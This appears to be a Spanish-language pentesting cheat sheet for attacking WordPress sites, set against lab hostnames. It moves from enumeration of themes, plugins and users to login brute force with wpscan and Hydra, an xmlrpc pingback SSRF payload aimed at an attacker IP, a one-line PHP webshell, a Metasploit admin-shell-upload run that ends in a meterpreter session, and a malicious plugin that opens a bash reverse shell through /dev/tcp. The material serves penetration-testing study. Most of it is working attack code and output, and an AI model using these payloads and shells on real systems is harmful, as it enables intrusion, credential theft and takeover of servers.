WordPress — Discovery & Enumeration
WordPress es el CMS más utilizado en internet, lo que lo convierte en un objetivo constante tanto para atacantes como para pentesters. Su superficie de ataque típica incluye el core de WordPress, los temas instalados, y — la fuente más común de vulnerabilidades — los plugins de terceros.
Discovery / Footprinting
Revisar robots.txt primero: además de indicar qué rutas no deben indexarse (información útil en sí misma sobre la estructura del sitio), suele confirmar la presencia de WordPress y a veces expone el sitemap:
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/
Sitemap: https://empresacorp.local/wp-sitemap.xmlConfirmar WordPress y su versión vía el meta tag generator:
❯ curl -s http://blog.empresacorp.local | grep WordPress
<meta name="generator" content="WordPress 5.8" />- Muchas instalaciones ocultan o eliminan este meta tag por seguridad — si no aparece, no descartar WordPress; probar las siguientes técnicas igualmente.
Identificar el tema activo a partir de las rutas de los recursos CSS/JS cargados:
❯ curl -s http://blog.empresacorp.local/ | grep themes
<link rel='stylesheet' id='bootstrap-css' href='http://blog.empresacorp.local/wp-content/themes/business-gravity/assets/vendors/bootstrap/css/bootstrap.min.css' type='text/css' media='all' />- Con el nombre del tema (
business-gravityen este ejemplo) se puede buscar directamente en el repositorio oficial de temas de WordPress, o en bases de datos de vulnerabilidades, si tiene CVEs conocidos.
Identificar plugins instalados de la misma forma:
❯ curl -s http://blog.empresacorp.local/ | grep plugins
<link rel='stylesheet' id='contact-form-7-css' href='http://blog.empresacorp.local/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.2' type='text/css' media='all' />
<script type='text/javascript' src='http://blog.empresacorp.local/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.8' id='subscriber-js-js'></script>
<script type='text/javascript' src='http://blog.empresacorp.local/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.8' id='validation-engine-en-js'></script>
<script type='text/javascript' src='http://blog.empresacorp.local/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.8' id='validation-engine-js'></script>
<link rel='stylesheet' id='mm_frontend-css' href='http://blog.empresacorp.local/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.8' type='text/css' media='all' />
<script type='text/javascript' src='http://blog.empresacorp.local/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4.2' id='contact-form-7-js'></script>- El parámetro
?ver=en cada recurso suele indicar la versión exacta del plugin — clave para buscar CVEs específicos.
No todas las páginas cargan los mismos plugins: revisar también páginas de contenido individual (posts), ya que algunos plugins solo se cargan condicionalmente:
❯ curl -s http://blog.empresacorp.local/?p=1 | grep plugins
<link rel='stylesheet' id='contact-form-7-css' href='http://blog.empresacorp.local/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.2' type='text/css' media='all' />
<link rel='stylesheet' id='wpdiscuz-frontend-css-css' href='http://blog.empresacorp.local/wp-content/plugins/wpdiscuz/themes/default/style.css?ver=7.0.4' type='text/css' media='all' />Enumeración de usuarios
Vía el parámetro author (WordPress redirige a la URL amigable del autor, filtrando el username en la cabecera Location o en el título de la página):
❯ curl https://empresacorp.local/?author=1Automatizar la enumeración sobre un rango de IDs de autor:
❯ for i in {1..5}; do curl -s -L -i http://blog.empresacorp.local/?author=$i | grep -E -o "\" title=\"View all posts by [a-z0-9A-Z\-\.]*|Location:.*" | sed 's/\// /g' | cut -f 6 -d ' ' | grep -v "^$"; doneVía la API REST de WordPress (habilitada por defecto en instalaciones modernas, expone usernames directamente sin necesidad de iterar IDs):
❯ curl https://empresacorp.local/wp-json/wp/v2/usersCon WPScan (ver más abajo para instalación/uso completo):
❯ wpscan --url empresacorp.local --enumerate uWPScan
WPScan es la herramienta de referencia para escaneo y enumeración de WordPress: identifica versión del core, temas y plugins desactualizados/vulnerables, cruzando contra su propia base de datos de vulnerabilidades (WPVulnDB).
❯ wpscan -h
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.7
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
Usage: wpscan [options]
--url URL The URL of the blog to scan
Allowed Protocols: http, https
Default Protocol if none provided: http
This option is mandatory unless update or help or hh or version is/are supplied
-h, --help Display the simple help and exit
--hh Display the full help and exit
--version Display the version and exit
-v, --verbose Verbose mode
--[no-]banner Whether or not to display the banner
Default: true
-o, --output FILE Output to FILE
-f, --format FORMAT Output results in the format supplied
Available choices: json, cli-no-colour, cli-no-color, cli
--detection-mode MODE Default: mixed
Available choices: mixed, passive, aggressiveEscaneo completo con enumeración y token de API (necesario para cruzar contra la base de datos de vulnerabilidades actualizada — se obtiene gratis registrándose en wpscan.com):
❯ sudo wpscan --url http://blog.empresacorp.local --enumerate --api-token dEOFB<SNIP>Opciones de enumeración más específicas (útiles para acotar el escaneo y reducir ruido/tiempo):
❯ wpscan --url http://blog.empresacorp.local --enumerate vp --api-token <TOKEN> # solo plugins vulnerables
❯ wpscan --url http://blog.empresacorp.local --enumerate ap --api-token <TOKEN> # todos los plugins (no solo vulnerables)
❯ wpscan --url http://blog.empresacorp.local --enumerate vt --api-token <TOKEN> # solo temas vulnerables
❯ wpscan --url http://blog.empresacorp.local --enumerate tt --api-token <TOKEN> # timthumbs (vector histórico de RCE)
❯ wpscan --url http://blog.empresacorp.local --enumerate cb --api-token <TOKEN> # config backups (wp-config.php.bak, etc.)Ataques a WordPress
Fuerza bruta de login
Vía xmlrpc.php (a menudo más rápido que el formulario de login estándar, ya que permite múltiples intentos en una sola petición HTTP mediante system.multicall):
❯ sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.empresacorp.localAlternativa directa contra el formulario estándar con Hydra:
❯ hydra -l john -P /usr/share/wordlists/rockyou.txt blog.empresacorp.local http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=incorrect password"Abuso de xmlrpc.php para SSRF (pingback)
La funcionalidad de pingback de WordPress permite que el propio servidor haga una petición HTTP a una URL arbitraria proporcionada por el atacante, lo que constituye un vector de SSRF si el endpoint no está deshabilitado:
❯ curl -X POST -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://ATACANTE_IP/</string></value></param><param><value><string>http://blog.empresacorp.local/?p=1</string></value></param></params></methodCall>' http://blog.empresacorp.local/xmlrpc.php- Además de SSRF,
xmlrpc.phphabilitado facilita la fuerza bruta descrita arriba y ataques de amplificación DDoS (pingback masivo hacia un mismo objetivo desde múltiples instalaciones WordPress) — su presencia siempre vale la pena reportarla como hallazgo, incluso sin explotación adicional.
Ejecución de código
Ejemplo mínimo de webshell PHP (útil como referencia de qué buscar/subir si se logra acceso de escritura vía un plugin vulnerable de subida de archivos):
system($_GET[0]);Con Metasploit, tras obtener credenciales válidas de administrador (por fuerza bruta o cualquier otro medio), se puede automatizar la subida de un plugin malicioso para obtener ejecución de comandos:
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts blog.empresacorp.local
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username john
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password firebird1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 192.168.60.5
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 172.16.70.20
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set VHOST blog.empresacorp.localmsf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD firebird1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.70.20 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME john yes The WordPress username to authenticate with
VHOST blog.empresacorp.local no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.60.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPressmsf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.60.5:4444
[*] Authenticating with WordPress using doug:jessica1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/CczIptSXlr/wCoUuUPfIO.php...
[*] Sending stage (39264 bytes) to 172.16.70.20
[*] Meterpreter session 1 opened (192.168.60.5:4444 -> 172.16.70.20:42816)
[+] Deleted wCoUuUPfIO.php
[+] Deleted CczIptSXlr.php
[+] Deleted ../CczIptSXlr
meterpreter > getuid
Server username: www-data (33)- El módulo limpia los archivos que sube tras obtener la sesión, dejando poco rastro forense — vale la pena documentar la actividad manualmente durante la prueba, ya que el propio exploit no deja evidencia persistente.
Plugin manual: reverse shell
Si se tiene acceso al panel de administración pero se prefiere no depender de Metasploit, se puede subir un plugin propio con la reverse shell embebida directamente en el hook de activación:
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Pentester
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.60.5/443 0>&1'");
?>- Empaquetar como ZIP y subirlo vía Plugins > Add New > Upload Plugin; al activarlo, el código se ejecuta inmediatamente en el servidor.
Comandos adicionales de enumeración
Descubrir el archivo wp-config.php.bak u otras copias de seguridad accidentalmente expuestas (contienen credenciales de base de datos en texto plano):
❯ curl -s http://blog.empresacorp.local/wp-config.php.bak
❯ curl -s http://blog.empresacorp.local/wp-config.php.save
❯ curl -s http://blog.empresacorp.local/wp-config.php~Listar directorios de uploads sin protección de listado (a veces revela archivos subidos sin control de acceso):
❯ curl -s http://blog.empresacorp.local/wp-content/uploads/Confirmar si el registro de usuarios está abierto (superficie adicional para probar vulnerabilidades post-autenticación con una cuenta propia de bajo privilegio):
❯ curl -s http://blog.empresacorp.local/wp-login.php?action=registerReferencias
- https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html
- https://sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell
- https://medium.com/@akshadjoshi/from-wordpress-to-reverse-shell-3857ee1f4896
- https://anshildev.medium.com/wordpress-and-joomla-reverse-shells-f76dcdbc0339
- https://www.hackingarticles.in/wordpress-reverse-shell/